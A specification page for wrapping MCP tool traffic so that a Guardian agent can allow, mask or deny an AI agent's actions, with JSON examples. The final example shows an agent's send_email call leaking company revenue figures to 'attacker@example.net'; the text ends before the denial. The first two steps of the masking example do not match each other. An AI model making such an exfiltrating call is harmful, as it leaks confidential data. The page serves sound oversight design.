Extending MCP
MCP protocol
The Model Context Protocol (MCP) is an open standard for connecting AI agents to external tools, prompts, resources, and servers.
ACS-Core remains protocol-agnostic for tool invocations: steps/toolCallRequest and steps/toolCallResult govern them regardless of whether the underlying transport is MCP, HTTP, a local function call, or another mechanism. The protocols/MCP/* namespace preserves MCP-specific semantics on the wire, and ACS-Core requires it for any deployment whose sessions involve MCP (Conformance › ACS-Core): capability negotiation, prompt fetches, resources/read, and notifications are invisible to the generic tool hooks, and resources/read is the canonical prompt-injection ingress. Only deployments whose sessions never involve MCP omit the namespace.
MCP support
ACS wrapping for MCP carries MCP messages between the Observed Agent and the Guardian while preserving the underlying MCP method and payload. This lets a Guardian apply the standard ACS disposition contract to MCP traffic without making MCP the only tool-governance path.
Deployments MAY collapse MCP tools/call traffic into the generic steps/toolCallRequest / steps/toolCallResult hooks when tool-level policy is sufficient. Every other MCP surface MUST be wrapped in sessions that involve MCP, because the generic tool hooks erase these distinctions:
initializecapability negotiation, including server instructions and capability grants that occur before the first tool call.prompts/get, where a server-authored prompt template is fetched and may later enter the agent's LLM context.resources/readand resource subscriptions, which represent data flow rather than one-shot tool invocation.notifications/*, which represent asynchronous MCP signals.
To extend MCP protocol:
- Agents whose sessions involve MCP must deliver wrapped MCP messages to the Guardian using
protocols/MCP/*(tools/callMAY instead flow through the generic tool hooks, above). - Agents delivering wrapped MCP messages must understand and enforce ACS responses before forwarding outbound MCP messages or consuming inbound MCP results.
The following flow explains how this should be done:
- Agent A prepares an MCP-compliant message.
- Agent A uses ACS as a transport to send the message to the guardian agent.
- The Guardian understands and processes the wrapped MCP message and sends the result back to agent A.
- Agent A interprets and enforces the response from guardian agent.
- If the response is
allow, agent A sends the MCP message to the MCP server. - MCP server processes the message and sends back to agent A the response.
- Agent A uses ACS as a transport to send the MCP response to the guardian agent.
- The Guardian understands and processes the wrapped MCP response and sends the result back to agent A.
- Agent A interprets and enforces the response from guardian agent.
Examples
Scenario: Agent A asks an MCP server for the weather and the Guardian responds with allow
1. Agent A prepares MCP tools/call message
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"city": "Barcelona"
},
"name": "get_weather"
}
}
2. Agent A uses ACS wrapping and sends an MCP protocols/MCP/tools/call message
{
"jsonrpc": "2.0",
"id": 70,
"method": "protocols/MCP/tools/call",
"params": {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"city": "Barcelona"
},
"name": "get_weather"
}
}
}
3. Guardian agent sends allow response to agent A
{
"jsonrpc": "2.0",
"id": 70,
"result": {
"decision": "allow",
"message": "Allow tools/call.",
"reasoning": "I understand that this is an MCP message. An agent is asking the weather. Nothing suspicious here."
}
}
Scenario: Agent A asks an MCP server to send email with sensitive data and the Guardian responds with modify
1. Agent A prepares MCP tools/call message
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"to": "hr@example.com",
"subject": "",
"body": ""
},
"name": "send_email"
}
}
2. Agent A uses ACS wrapping and sends an MCP protocols/MCP/tools/call message
{
"jsonrpc": "2.0",
"id": 80,
"method": "protocols/MCP/tools/call",
"params": {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"to": "finance@example.com",
"from": "manager@example.com",
"subject": "Employee Salary Raise Request",
"body": "Hi, I would like to ask for a salary raise for emplyee #12222. The current salary is 200000$, the requested salary is 300000$. Let's have a meeting discuss this."
},
"name": "send_email"
}
}
}
3. Guardian agent sends modify response to agent A
{
"jsonrpc": "2.0",
"id": 80,
"result": {
"decision": "modify",
"message": "Modified data for tools/call.",
"reasoning": "I understand that this is an MCP message. An agent is asking to send an email with sensitive info, I need to mask it first.",
"modifiedRequest": {
"jsonrpc": "2.0",
"id": 80,
"method": "protocols/MCP/tools/call",
"params": {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"to": "finance@example.com",
"from": "manager@example.com",
"subject": "Employee Salary Raise Request",
"body": "Hi, I would like to ask for a salary raise for emplyee #12222. The current salary is **********$, the requested salary is **********$. Let's have a meeting discuss this."
},
"name": "send_email"
}
}
}
}
}
Scenario: Agent A asks an MCP server to send email with sensitive data to an outsider and the Guardian responds with deny
1. Agent A prepares MCP tools/call message
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"to": "attacker@example.net",
"subject": "Financial info",
"body": "The ARR for the company for year 2024 was 100000000000$ "
},
"name": "send_email"
}
}
2. Agent A uses ACS wrapping and sends an MCP protocols/MCP/tools/call message
{
"jsonrpc": "2.0",
"id": 100,
"method": "protocols/MCP/tools/call",
"params": {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"arguments": {
"to": "attacker@example.net",
"subject": "Financial info",
"body": "The ARR for the company for year 2024 was 100000000000$ "
},
"name": "send_email"
}
}
}